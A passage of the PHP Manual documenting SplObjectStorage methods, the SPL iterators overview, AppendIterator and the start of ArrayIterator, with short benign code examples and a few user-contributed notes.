    [0] => attach
    [1] => detach
    [2] => contains
    [3] => addAll
    [4] => removeAll
    [5] => getInfo
    [6] => setInfo
    [7] => count
    [8] => rewind
    [9] => valid
    [10] => key
    [11] => current
    [12] => next
    [13] => unserialize
    [14] => serialize
    [15] => offsetExists
    [16] => offsetSet
    [17] => offsetUnset
    [18] => offsetGet
)
SplObjectStorage::getHash
SplObjectStorage::key
SplObjectStorage


Returns the index at which the iterator currently is

SplObjectStorage::getInfo
SplObjectStorage::next
SplObjectStorage
PHP Manual

SplObjectStorage::key

(PHP 5 >= 5.1.0)

SplObjectStorage::key — Returns the index at which the iterator currently is

Description

public int SplObjectStorage::key ( void )

Returns the index at which the iterator currently is.

Parameters

This function has no parameters.

Return Values

The index corresponding to the position of the iterator.

Examples

Example #1 SplObjectStorage::key() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)

    var_dump($index);
    var_dump($object);
    $s->next();
}
?>

The above example will output something similar to:

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

See Also

  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::getInfo
SplObjectStorage::next
SplObjectStorage


Move to the next entry

SplObjectStorage::key
SplObjectStorage::offsetExists
SplObjectStorage
PHP Manual

SplObjectStorage::next

(PHP 5 >= 5.1.0)

SplObjectStorage::next — Move to the next entry

Description

public void SplObjectStorage::next ( void )

Moves the iterator to the next object in the storage.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::next() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)

    var_dump($index);
    var_dump($object);
    $s->next();
}
?>

The above example will output something similar to:

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

See Also

  • SPLObjectStorage::rewind() - Rewind the iterator to the first storage element

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::key
SplObjectStorage::offsetExists
SplObjectStorage


Checks whether an object exists in the storage

SplObjectStorage::next
SplObjectStorage::offsetGet
SplObjectStorage
PHP Manual

SplObjectStorage::offsetExists

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetExists — Checks whether an object exists in the storage

Description

public bool SplObjectStorage::offsetExists ( object $object )

Checks whether an object exists in the storage.

Parameters

object

The object to look for.

Return Values

Returns TRUE if the object exists in the storage, and FALSE otherwise.

Examples

Example #1 SplObjectStorage::offsetExists() example

<?php
$s = new SplObjectStorage;
$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1);

var_dump($s->offsetExists($o1)); // Similar to isset($s[$o1])
var_dump($s->offsetExists($o2)); // Similar to isset($s[$o2])
?>

The above example will output something similar to:

bool(true)
bool(false)

See Also

  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::next
SplObjectStorage::offsetGet
SplObjectStorage


Returns the data associated with an object

SplObjectStorage::offsetExists
SplObjectStorage::offsetSet
SplObjectStorage
PHP Manual

SplObjectStorage::offsetGet

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetGet — Returns the data associated with an object

Description

public mixed SplObjectStorage::offsetGet ( object $object )

Returns the data associated with an object in the storage.

Parameters

object

The object to look for.

Return Values

The data previously associated with the object in the storage.

Errors/Exceptions

Throws UnexpectedValueException when object could not be found.

Examples

Example #1 SplObjectStorage::offsetGet() example

<?php
$s = new SplObjectStorage;

$o1 = new StdClass;
$o2 = new StdClass;

$s[$o1] = "hello";
$s->attach($o2);

var_dump($s->offsetGet($o1)); // Similar to $s[$o1]
var_dump($s->offsetGet($o2)); // Similar to $s[$o2]
?>

The above example will output something similar to:

string(5) "hello"
NULL

See Also

  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::offsetExists
SplObjectStorage::offsetSet
SplObjectStorage


Associates data to an object in the storage

SplObjectStorage::offsetGet
SplObjectStorage::offsetUnset
SplObjectStorage
PHP Manual

SplObjectStorage::offsetSet

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetSet — Associates data to an object in the storage

Description

public void SplObjectStorage::offsetSet ( object $object [, mixed $data = NULL ] )

Associate data to an object in the storage.

Note:

SplObjectStorage::offsetSet() is an alias of SplObjectStorage::attach().

Parameters

object

The object to associate data with.

data

The data to associate with the object.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::offsetSet() example

<?php
$s = new SplObjectStorage;

$o1 = new StdClass;

$s->offsetSet($o1, "hello"); // Similar to $s[$o1] = "hello";

var_dump($s[$o1]);
?>

The above example will output something similar to:

string(5) "hello"

See Also

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::offsetGet
SplObjectStorage::offsetUnset
SplObjectStorage


Removes an object from the storage

SplObjectStorage::offsetSet
SplObjectStorage::removeAll
SplObjectStorage
PHP Manual

SplObjectStorage::offsetUnset

(PHP 5 >= 5.3.0)

SplObjectStorage::offsetUnset — Removes an object from the storage

Description

public void SplObjectStorage::offsetUnset ( object $object )

Removes an object from the storage.

Note:

SplObjectStorage::offsetUnset() is an alias of SplObjectStorage::detach().

Parameters

object

The object to remove.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::offsetUnset() example

<?php
$o = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->offsetUnset($o); // Similar to unset($s[$o])
var_dump(count($s));
?>

The above example will output something similar to:

int(1)
int(0)

See Also

  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::offsetSet
SplObjectStorage::removeAll
SplObjectStorage


Removes objects contained in another storage from the current storage

SplObjectStorage::offsetUnset
SplObjectStorage::removeAllExcept
SplObjectStorage
PHP Manual

SplObjectStorage::removeAll

(PHP 5 >= 5.3.0)

SplObjectStorage::removeAll — Removes objects contained in another storage from the current storage

Description

public void SplObjectStorage::removeAll ( SplObjectStorage $storage )

Removes objects contained in another storage from the current storage.

Parameters

storage

The storage containing the elements to remove.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::removeAll() example

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$a = new SplObjectStorage();
$a[$o1] = "foo";

$b = new SplObjectStorage();
$b[$o1] = "bar";
$b[$o2] = "gee";

var_dump(count($b));
$b->removeAll($a);
var_dump(count($b));
?>

The above example will output something similar to:

int(2)
int(1)

See Also

  • SplObjectStorage::addAll() - Adds all objects from another storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::offsetUnset
SplObjectStorage::removeAllExcept
SplObjectStorage


Removes all objects except for those contained in another storage from the current storage

SplObjectStorage::removeAll
SplObjectStorage::rewind
SplObjectStorage
PHP Manual

SplObjectStorage::removeAllExcept

(PHP 5 >= 5.3.6)

SplObjectStorage::removeAllExcept — Removes all objects except for those contained in another storage from the current storage

Description

public void SplObjectStorage::removeAllExcept ( SplObjectStorage $storage )

Removes all objects except for those contained in another storage from the current storage.

Parameters

storage

The storage containing the elements to retain in the current storage.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::removeAllExcept() example

<?php
$a = (object) 'a';
$b = (object) 'b';
$c = (object) 'c';

$foo = new SplObjectStorage;
$foo->attach($a);
$foo->attach($b);

$bar = new SplObjectStorage;
$bar->attach($b);
$bar->attach($c);

$foo->removeAllExcept($bar);
var_dump($foo->contains($a));
var_dump($foo->contains($b));
?>

The above example will output something similar to:

bool(false)
bool(true)

User Contributed Notes

kirk at wa dot net dot ua 21-Jun-2011 02:12
You may remove all elements by passing empty SplObjectStorage

$splStorage->removeAllExcept(new SplObjectStorage());
SplObjectStorage::removeAll
SplObjectStorage::rewind
SplObjectStorage


Rewind the iterator to the first storage element

SplObjectStorage::removeAllExcept
SplObjectStorage::serialize
SplObjectStorage
PHP Manual

SplObjectStorage::rewind

(PHP 5 >= 5.1.0)

SplObjectStorage::rewind — Rewind the iterator to the first storage element

Description

public void SplObjectStorage::rewind ( void )

Rewind the iterator to the first storage element.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::rewind() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

The above example will output something similar to:

int(1)
int(0)

See Also

  • SplObjectStorage::next() - Move to the next entry

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::removeAllExcept
SplObjectStorage::serialize
SplObjectStorage


Serializes the storage

SplObjectStorage::rewind
SplObjectStorage::setInfo
SplObjectStorage
PHP Manual

SplObjectStorage::serialize

(PHP 5 >= 5.2.2)

SplObjectStorage::serialize — Serializes the storage

Description

public string SplObjectStorage::serialize ( void )

Returns a string representation of the storage.

Parameters

This function has no parameters.

Return Values

A string representing the storage.

Examples

Example #1 SplObjectStorage::serialize() example

<?php
$s = new SplObjectStorage;
$o = new StdClass;
$s[$o] = "data";

echo $s->serialize()."\n";
?>

The above example will output something similar to:

x:i:1;O:8:"stdClass":0:{},s:4:"data";;m:a:0:{}

See Also

  • SplObjectStorage::unserialize() - Unserializes a storage from its string representation

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::rewind
SplObjectStorage::setInfo
SplObjectStorage


Sets the data associated with the current iterator entry

SplObjectStorage::serialize
SplObjectStorage::unserialize
SplObjectStorage
PHP Manual

SplObjectStorage::setInfo

(PHP 5 >= 5.3.0)

SplObjectStorage::setInfo — Sets the data associated with the current iterator entry

Description

public void SplObjectStorage::setInfo ( mixed $data )

Associates data, or info, with the object currently pointed to by the iterator.

Parameters

data

The data to associate with the current iterator entry.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::setInfo() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $s->setInfo("new");
    $s->next();
}
var_dump($s[$o1]);
var_dump($s[$o2]);
?>

The above example will output something similar to:

string(3) "new"
string(3) "new"

See Also

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::serialize
SplObjectStorage::unserialize
SplObjectStorage


Unserializes a storage from its string representation

SplObjectStorage::setInfo
SplObjectStorage::valid
SplObjectStorage
PHP Manual

SplObjectStorage::unserialize

(PHP 5 >= 5.2.2)

SplObjectStorage::unserialize — Unserializes a storage from its string representation

Description

public void SplObjectStorage::unserialize ( string $serialized )

Unserializes storage entries and attach them to the current storage.

Parameters

serialized

The serialized representation of a storage.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::unserialize() example

<?php
$s1 = new SplObjectStorage;
$s2 = new SplObjectStorage;
$o = new StdClass;
$s1[$o] = "data";

$s2->unserialize($s1->serialize());

var_dump(count($s2));
?>

The above example will output something similar to:

int(1)

See Also

  • SplObjectStorage::serialize() - Serializes the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::setInfo
SplObjectStorage::valid
SplObjectStorage


Returns if the current iterator entry is valid

SplObjectStorage::unserialize
Iterators
SplObjectStorage
PHP Manual

SplObjectStorage::valid

(PHP 5 >= 5.1.0)

SplObjectStorage::valid — Returns if the current iterator entry is valid

Description

public bool SplObjectStorage::valid ( void )

Returns if the current iterator entry is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the iterator entry is valid, FALSE otherwise.

Examples

Example #1 SplObjectStorage::valid() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    echo $s->key()."\n";
    $s->next();
}
?>

The above example will output something similar to:

0
1

See Also

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::unserialize
Iterators
SplObjectStorage


Iterators

Table of Contents

  • AppendIterator
  • ArrayIterator
  • CachingIterator
  • CallbackFilterIterator
  • DirectoryIterator
  • EmptyIterator
  • FilesystemIterator
  • FilterIterator
  • GlobIterator
  • InfiniteIterator
  • IteratorIterator
  • LimitIterator
  • MultipleIterator
  • NoRewindIterator
  • ParentIterator
  • RecursiveArrayIterator
  • RecursiveCachingIterator
  • RecursiveCallbackFilterIterator
  • RecursiveDirectoryIterator
  • RecursiveFilterIterator
  • RecursiveIteratorIterator
  • RecursiveRegexIterator
  • RecursiveTreeIterator
  • RegexIterator

SPL provides a set of iterators to traverse over objects.

Undocumented Iterators

  • RecursiveTreeIterator

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::valid
AppendIterator
SPL


The AppendIterator class

(PHP 5 >= 5.1.0)

Introduction

An Iterator that iterates over several iterators one after the other.

Class synopsis

AppendIterator extends IteratorIterator implements OuterIterator , Traversable , Iterator {
/* Methods */
public __construct ( void )
public void append ( Iterator $iterator )
public void current ( void )
public void getArrayIterator ( void )
public void getInnerIterator ( void )
public void getIteratorIndex ( void )
public void key ( void )
public void next ( void )
public void rewind ( void )
public void valid ( void )
/* Inherited methods */
public IteratorIterator::__construct ( Traversable $iterator )
public mixed IteratorIterator::current ( void )
public Traversable IteratorIterator::getInnerIterator ( void )
public void IteratorIterator::key ( void )
public void IteratorIterator::next ( void )
public void IteratorIterator::rewind ( void )
public bool IteratorIterator::valid ( void )
}

Table of Contents

  • AppendIterator::append — Appends an iterator
  • AppendIterator::__construct — Constructs an AppendIterator
  • AppendIterator::current — Gets the current value
  • AppendIterator::getArrayIterator — The getArrayIterator method
  • AppendIterator::getInnerIterator — Gets an inner iterator
  • AppendIterator::getIteratorIndex — Gets an index of iterators
  • AppendIterator::key — Gets the current key
  • AppendIterator::next — Moves to the next element
  • AppendIterator::rewind — Rewinds the Iterator
  • AppendIterator::valid — Checks validity of the current element

User Contributed Notes

There are no user contributed notes for this page.
Iterators
AppendIterator::append
Iterators


Appends an iterator

AppendIterator
AppendIterator::__construct
AppendIterator
PHP Manual

AppendIterator::append

(PHP 5 >= 5.1.0)

AppendIterator::append — Appends an iterator

Description

public void AppendIterator::append ( Iterator $iterator )

Appends an iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator to append.

Return Values

No value is returned.

See Also

  • AppendIterator::__construct() - Constructs an AppendIterator

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator
AppendIterator::__construct
AppendIterator


Constructs an AppendIterator

AppendIterator::append
AppendIterator::current
AppendIterator
PHP Manual

AppendIterator::__construct

(PHP 5 >= 5.1.0)

AppendIterator::__construct — Constructs an AppendIterator

Description

public AppendIterator::__construct() ( void )

Constructs an AppendIterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 Iterating AppendIterator with foreach

<?php
$pizzas   = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

foreach ($appendIterator as $key => $item) {
    echo "$key => $item", PHP_EOL;
}
?>

The above example will output something similar to:

0 => Margarita
1 => Siciliana
2 => Hawaii
0 => Cheese
1 => Anchovies
2 => Olives
3 => Pineapple
4 => Ham

Example #2 Iterating AppendIterator with the AppendIterator API

<?php
$pizzas   = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

while ($appendIterator->valid()) {
    printf(
        '%s => %s => %s%s',
        $appendIterator->getIteratorIndex(),
        $appendIterator->key(),
        $appendIterator->current(),
        PHP_EOL
    );
    $appendIterator->next();
}
?>

The above example will output something similar to:

0 => 0 => Margarita
0 => 1 => Siciliana
0 => 2 => Hawaii
1 => 0 => Cheese
1 => 1 => Anchovies
1 => 2 => Olives
1 => 3 => Pineapple
1 => 4 => Ham

Notes

Caution

When using iterator_to_array() to copy the values of the AppendIterator into an array, you have to set the optional use_key argument to FALSE. When use_key is not FALSE any keys reoccuring in inner iterators will get overwritten in the returned array. There is no way to preserve the original keys.

See Also

  • AppendIterator::append() - Appends an iterator

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::append
AppendIterator::current
AppendIterator


Gets the current value

AppendIterator::__construct
AppendIterator::getArrayIterator
AppendIterator
PHP Manual

AppendIterator::current

(PHP 5 >= 5.1.0)

AppendIterator::current — Gets the current value

Description

public void AppendIterator::current ( void )

Gets the current value.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current value if it is valid or NULL otherwise.

See Also

  • AppendIterator::next() - Moves to the next element

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::__construct
AppendIterator::getArrayIterator
AppendIterator


The getArrayIterator method

AppendIterator::current
AppendIterator::getInnerIterator
AppendIterator
PHP Manual

AppendIterator::getArrayIterator

(PHP 5 >= 5.1.0)

AppendIterator::getArrayIterator — The getArrayIterator method

Description

public void AppendIterator::getArrayIterator ( void )

The getArrayIterator method

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

See Also

  • AppendIterator::getInnerIterator() - Gets an inner iterator

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::current
AppendIterator::getInnerIterator
AppendIterator


Gets an inner iterator

AppendIterator::getArrayIterator
AppendIterator::getIteratorIndex
AppendIterator
PHP Manual

AppendIterator::getInnerIterator

(PHP 5 >= 5.1.0)

AppendIterator::getInnerIterator — Gets an inner iterator

Description

public void AppendIterator::getInnerIterator ( void )

Get an inner iterator

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current inner Iterator.

See Also

  • AppendIterator::getArrayIterator() - The getArrayIterator method

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::getArrayIterator
AppendIterator::getIteratorIndex
AppendIterator


Gets an index of iterators

AppendIterator::getInnerIterator
AppendIterator::key
AppendIterator
PHP Manual

AppendIterator::getIteratorIndex

(PHP 5 >= 5.1.0)

AppendIterator::getIteratorIndex — Gets an index of iterators

Description

public void AppendIterator::getIteratorIndex ( void )

Get an index of iterators.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The index of iterators.

See Also

  • AppendIterator::getInnerIterator() - Gets an inner iterator

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::getInnerIterator
AppendIterator::key
AppendIterator


Gets the current key

AppendIterator::getIteratorIndex
AppendIterator::next
AppendIterator
PHP Manual

AppendIterator::key

(PHP 5 >= 5.1.0)

AppendIterator::key — Gets the current key

Description

public void AppendIterator::key ( void )

Get the current key

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current key if it is valid or NULL otherwise.

See Also

  • AppendIterator::current() - Gets the current value

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::getIteratorIndex
AppendIterator::next
AppendIterator


Moves to the next element

AppendIterator::key
AppendIterator::rewind
AppendIterator
PHP Manual

AppendIterator::next

(PHP 5 >= 5.1.0)

AppendIterator::next — Moves to the next element

Description

public void AppendIterator::next ( void )

Moves to the next element. If this means to another Iterator then it rewinds that Iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::key
AppendIterator::rewind
AppendIterator


Rewinds the Iterator

AppendIterator::next
AppendIterator::valid
AppendIterator
PHP Manual

AppendIterator::rewind

(PHP 5 >= 5.1.0)

AppendIterator::rewind — Rewinds the Iterator

Description

public void AppendIterator::rewind ( void )

Rewind to the first element of the first inner Iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • AppendIterator::next() - Moves to the next element

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::next
AppendIterator::valid
AppendIterator


Checks validity of the current element

AppendIterator::rewind
ArrayIterator
AppendIterator
PHP Manual

AppendIterator::valid

(PHP 5 >= 5.1.0)

AppendIterator::valid — Checks validity of the current element

Description

public void AppendIterator::valid ( void )

Checks validity of the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • AppendIterator::append() - Appends an iterator

User Contributed Notes

There are no user contributed notes for this page.
AppendIterator::rewind
ArrayIterator
AppendIterator


The ArrayIterator class

(PHP 5)

Introduction

This iterator allows to unset and modify values and keys while iterating over Arrays and Objects.

When you want to iterate over the same array multiple times you need to instantiate ArrayObject and let it create ArrayIterator instances that refer to it either by using foreach or by calling its getIterator() method manually.

Class synopsis

ArrayIterator implements Iterator , Traversable , ArrayAccess , SeekableIterator , Countable , Serializable {
/* Methods */
public void append ( mixed $value )
public void asort ( void )
public __construct ( mixed $array )
public int count ( void )
public mixed current ( void )
public array getArrayCopy ( void )
public void getFlags ( void )
public mixed key ( void )
public void ksort ( void )
public void natcasesort ( void )
public void natsort ( void )
public void next ( void )
public void offsetExists ( string $index )
public mixed offsetGet ( string $index )
public void offsetSet ( string $index , string $newval )
public void offsetUnset ( string $index )
public void rewind ( void )
public void seek ( int $position )
public string serialize ( void )
public void setFlags ( string $flags )
public void uasort ( string $cmp_function )
public void uksort ( string $cmp_function )
public string unserialize ( string $serialized )
public bool valid ( void )
}

Table of Contents

  • ArrayIterator::append — Append an element
  • ArrayIterator::asort — Sort array by values
  • ArrayIterator::__construct — Construct an ArrayIterator
  • ArrayIterator::count — Count elements
  • ArrayIterator::current — Return current array entry
  • ArrayIterator::getArrayCopy — Get array copy
  • ArrayIterator::getFlags — Get flags
  • ArrayIterator::key — Return current array key
  • ArrayIterator::ksort — Sort array by keys
  • ArrayIterator::natcasesort — Sort an array naturally, case insensitive
  • ArrayIterator::natsort — Sort an array naturally
  • ArrayIterator::next — Move to next entry
  • ArrayIterator::offsetExists — Check if offset exists
  • ArrayIterator::offsetGet — Get value for an offset
  • ArrayIterator::offsetSet — Set value for an offset
  • ArrayIterator::offsetUnset — Unset value for an offset
  • ArrayIterator::rewind — Rewind array back to the start
  • ArrayIterator::seek — Seek to position
  • ArrayIterator::serialize — Serialize
  • ArrayIterator::setFlags — Set behaviour flags
  • ArrayIterator::uasort — User defined sort
  • ArrayIterator::uksort — User defined sort
  • ArrayIterator::unserialize — Unserialize
  • ArrayIterator::valid — Check whether array contains more entries

User Contributed Notes

Relakuyae 19-Oct-2011 05:23
Need a callback on an iterated value, but don't have PHP 5.4+?  This makes is stupid easy:

<?php
class ArrayCallbackIterator extends ArrayIterator {
  private $callback;
  public function __construct($value, $callback) {
    parent::__construct($value);
    $this->callback = $callback;
  }

  public function current() {
    $value = parent::current();
    return call_user_func($this->callback, $value);
  }
}
?>

You can use it pretty much exactly as the Array Iterator:

<?php
$iterator1 = new ArrayCallbackIterator($valueList, "callback_function");
$iterator2 = new ArrayCallbackIterator($valueList, array($object, "callback_class_method"));
?>
foobuilder at gmail dot com 09-Dec-2010 11:01
Unsetting all keys of an ArrayItem within foreach will always leave the second key:

<?php
$items = new ArrayObject(range(0, 9));

while (list($k, $v) = each($items)) {
    unset($items[$k]);
}

print_r($items);

//  ArrayIterator Object
//  (
//      [storage:ArrayIterator:private] => Array
//          (
//              [1] => 1
//          )
//  )
?>

I'm not sure if this is a bug as unsetting keys within foreach is usually a bad idea to begin with (use while instead), but it's something to be aware of.
liranuna at liranuna dot com 02-Dec-2009 06:44
If you want to make your ArrayIterator support foreach loops with PHP's & operator, such as

<?php
    foreach($list as &$item) {
        ....
    }
?>

You will need to pass the array to ArrayIterator by reference:

<?php
    new ArrayIterator(&$array);
?>
Sean Burlington 26-May-2009 05:15
and to iterate recursively use the (sparsely documented)  RecursiveArrayIterator

<?php

$fruits = array(
                "apple" => "yummy",
                "orange" => "ah ya, nice",
                "grape" => "wow, I love it!",
                 "plum" => "nah, not me"
                );

$veg = array("potato" => "chips", "carrot" => "soup");
$grocery = array($fruits, $veg);
$obj = new ArrayObject( $grocery );

$it = new RecursiveIteratorIterator( new RecursiveArrayIterator($grocery));

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

?>

Output
--------
apple:yummy
orange:ah ya, nice
grape:wow, I love it!
plum:nah, not me
potato:chips
carrot:soup
Venelin Vulkov 11-Nov-2008 03:44
Another fine Iterator from php . You can use it especially when you have to iterate over objects

<?php
$fruits = array(
    "apple" => "yummy",
    "orange" => "ah ya, nice",
    "grape" => "wow, I love it!",
    "plum" => "nah, not me"
);
$obj = new ArrayObject( $fruits );
$it = $obj->getIterator();

// How many items are we iterating over?

echo "Iterating over: " . $obj->count() . " values\n";

// Iterate over the values in the ArrayObject:
while( $it->valid() )
{
    echo $it->key() . "=" . $it->current() . "\n";
    $it->next();
}

// The good thing here is that it can be iterated with foreach loop

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

/* Outputs something like */

Iterating over: 4 values
apple=yummy
orange=ah ya, nice
grape=wow, I love it!
plum=nah, not me

?>

Regards.
AppendIterator::valid
ArrayIterator::append
Iterators


Append an element

ArrayIterator
ArrayIterator::asort
ArrayIterator
PHP Manual

ArrayIterator::append

(PHP 5 >= 5.0.0)

ArrayIterator::append — Append an element

Description

public void ArrayIterator::append ( mixed $value )

Appends value as the last element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

value

The value to append.

Return Values

No value is returned.

Notes

Note:

This method cannot be called when the ArrayIterator refers to an object.

See Also

  • ArrayIterator::next() - Move to next entry

User Contributed Notes

lenye01 at gmail dot com 10-Feb-2011 08:11
we can append values after the given array,the index is begin from 0, for example:

<?php
$b = array('name'=>'mengzhi','age'=>'22','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
var_dump($a);
?>

then output:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }
ArrayIterator
ArrayIterator::asort
ArrayIterator


Sort array by values

ArrayIterator::append
ArrayIterator::__construct
ArrayIterator
PHP Manual

ArrayIterator::asort

(PHP 5 >= 5.2.0)

ArrayIterator::asort — Sort array by values

Description

public void ArrayIterator::asort ( void )

Sorts an array by values.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::ksort() - Sort array by keys
  • ArrayIterator::natcasesort() - Sort an array naturally, case insensitive
  • ArrayIterator::natsort() - Sort an array naturally

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::append
ArrayIterator::__construct
ArrayIterator


Construct an ArrayIterator

ArrayIterator::asort
ArrayIterator::count
ArrayIterator
PHP Manual

ArrayIterator::__construct

(PHP 5 >= 5.0.0)

ArrayIterator::__construct — Construct an ArrayIterator

Description

public ArrayIterator::__construct ( mixed $array )

Constructs an ArrayIterator object.

Warning

This function is currently not documented; only its argument list is available.

Parameters

array

The array or object to be iterated on.

Return Values

An ArrayIterator object.

Errors/Exceptions

ArrayIterator::__construct() throws an InvalidArgumentException if anything besides an array or an object is given.

See Also

  • ArrayIterator::getArrayCopy() - Get array copy

User Contributed Notes

foobuilder at gmail dot com 02-Nov-2010 09:54
The method description looks like it requires a parameter, but it is actually optional:

$iter= new ArrayIterator();
$iter['bacon'] = 'tasty';
ArrayIterator::asort
ArrayIterator::count
ArrayIterator


Count elements

ArrayIterator::__construct
ArrayIterator::current
ArrayIterator
PHP Manual

ArrayIterator::count

(PHP 5 >= 5.0.0)

ArrayIterator::count — Count elements

Description

public int ArrayIterator::count ( void )

Gets the number of elements in the array, or the number of public properties in the object.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The number of elements or public properties in the associated array or object, respectively.

See Also

  • ArrayIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::__construct
ArrayIterator::current
ArrayIterator


Return current array entry

